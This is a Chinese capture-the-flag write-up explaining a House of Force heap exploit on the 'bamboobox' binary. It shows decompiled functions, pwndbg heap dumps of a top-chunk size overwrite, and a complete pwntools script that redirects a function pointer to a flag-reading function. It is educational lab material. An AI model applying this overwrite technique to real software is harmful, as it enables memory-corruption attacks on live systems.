堆利用-house_of_force-bamboobox题详解

bamboobox

基本情况分析

查看基本保护

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY   Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   89) Symbols 

运行查看一些基本逻辑,又是一个菜单类的题,应该就是堆的题。

There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:

程序分析

main

可以看到很特别的在选择5,退出之前会执行一次v4[1](),正常来讲这个是goodbye_message函数的执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{
****
  v4 = (void (**)(void))malloc(0x10uLL);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

show_item

int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
      printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020C8 + 2 * i));
  }
  return puts(byte_401089);
}

add_item

__int64 add_item()
{
***
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;              ## 存储chunk大小
        *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);    ## 存储chunk的地址
        printf("Please enter the name of item:");
        *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;                                       ## 读入数据
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

change_item

unsigned __int64 change_item()
{
***
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )  #该索引存在chunk存储的地址(存在)
    {
      printf("Please enter the length of item name:");  #可以执行控制读入的长度,存在可以溢出改写的漏洞
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

remove_item

unsigned __int64 remove_item()
{
***
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      free(*((void **)&unk_6020C8 + 2 * v1));
      *((_QWORD *)&unk_6020C8 + 2 * v1) = 0LL;
      *((_DWORD *)&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

关键点

存在一个读入大小可控的点,可以实现house of force或者unlink。

存在一个magic函数,可以直接读取flag。

调试分析

断点信息
b *0x00000000004009B4
b *0x0000000000400B21
b *0x0000000000400C4B
b *0x0000000000400D47

初始节点

Your choice:2
Please enter the length of item name:16
Please enter the name of item:aaaaaaaa

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x603040
Size: 0x20fc1


pwndbg> x/30gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000400896      0x00000000004008b1 #两个messege函数的地址
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x6161616161616161      0x000000000000000a
0x603040:       0x0000000000000000      0x0000000000020fc1
0x603050:       0x0000000000000000      0x0000000000000000

修改topchunk的size

Your choice:3
Please enter the index of item:0
Please enter the length of item name:32
Please enter the new name of the item:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000400896      0x00000000004008b1
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x6161616161616161      0x6161616161616161
0x603040:       0x6161616161616161      0x6161616161616161
0x603050:       0x0000000000000000      0x0000000000000000

我们可以看到topchunk的size确实可以被修改,那么这题可以用HOF进行攻击。

脚本调试

初始堆块

进行第一个堆块申请,为后续调用溢出,修改topchunk的size作准备。

    additem(0x70,'aaaaaaaa')
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1896000
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x1896020
Size: 0x20fe1

pwndbg> x/20gx 0x1896000
0x1896000:      0x0000000000000000      0x0000000000000021
0x1896010:      0x0000000000400896      0x00000000004008b1
0x1896020:      0x0000000000000000      0x0000000000020fe1
0x1896030:      0x0000000000000000      0x0000000000000000

溢出修改size

    modify(0,0x80,payload1)
pwndbg> x/30gx 0x1896000
0x1896000:      0x0000000000000000      0x0000000000000021
0x1896010:      0x0000000000400896      0x00000000004008b1
0x1896020:      0x0000000000000000      0x0000000000000081
0x1896030:      0x6161616161616161      0x6161616161616161
0x1896040:      0x6161616161616161      0x6161616161616161
0x1896050:      0x6161616161616161      0x6161616161616161
0x1896060:      0x6161616161616161      0x6161616161616161
0x1896070:      0x6161616161616161      0x6161616161616161
0x1896080:      0x6161616161616161      0x6161616161616161
0x1896090:      0x6161616161616161      0x6161616161616161
0x18960a0:      0x0000000000000000      0xffffffffffffffff
0x18960b0:      0x0000000000000000      0x0000000000000000

TOPchunk机制

通过这一句调整topchunk下一步分配内容所在位置,实现任意写。第二句进行调用内存分配,让新建立堆块分布在指定位置,实现对目标位置的改写。

    additem(size, 'dddd')
    additem(0x10,payload2)
pwndbg> x/30gx 0x1896000
0x1896000:      0x0000000000000000      0x0000000000000099
0x1896010:      0x0000000000400896      0x00000000004008b1
0x1896020:      0x0000000000000000      0x0000000000000081
0x1896030:      0x6161616161616161      0x6161616161616161
0x1896040:      0x6161616161616161      0x6161616161616161
0x1896050:      0x6161616161616161      0x6161616161616161
0x1896060:      0x6161616161616161      0x6161616161616161
0x1896070:      0x6161616161616161      0x6161616161616161
0x1896080:      0x6161616161616161      0x6161616161616161
0x1896090:      0x6161616161616161      0x6161616161616161
0x18960a0:      0x0000000000000000      0x00ffffffffffff61
0x18960b0:      0x0000000000000000      0x0000000000000000

成功测试

输入5,返回调用我们修改的内存地址。(原来会执行goodbye函数,但是现在存储该函数的位置被我们修改成了magic)

注意点

1.申请的堆块大小不要太小。一开始我申请的是0x10,但是一直无法成功,将其改大为0x70即可成功

2.需要修改top chunk产生多大的偏移和我们申请的堆块大小有一定的关系(本题有,但是具体情况需要具体分析,只需要多调试关注堆块结构即可)

EXP

#!/usr/bin/env python


from pwn import *


r = process('./bamboobox')

def additem(length,name):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)

def modify(idx,length,name):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)

def remove(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

def show():
    r.recvuntil(":")
    r.sendline("1")
if __name__ == '__main__':
    magic_add=0x000000000400D49
    payload1='a'*0x70+p64(0)+p64(0xffffffffffffffff)
    size = -0xa0-0x10
    payload2='a'*8+p64(magic_add)
    input()
    additem(0x70,'aaaaaaaa')
    modify(0,0x80,payload1)
    additem(size, 'dddd')
    additem(0x10,payload2)
    r.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值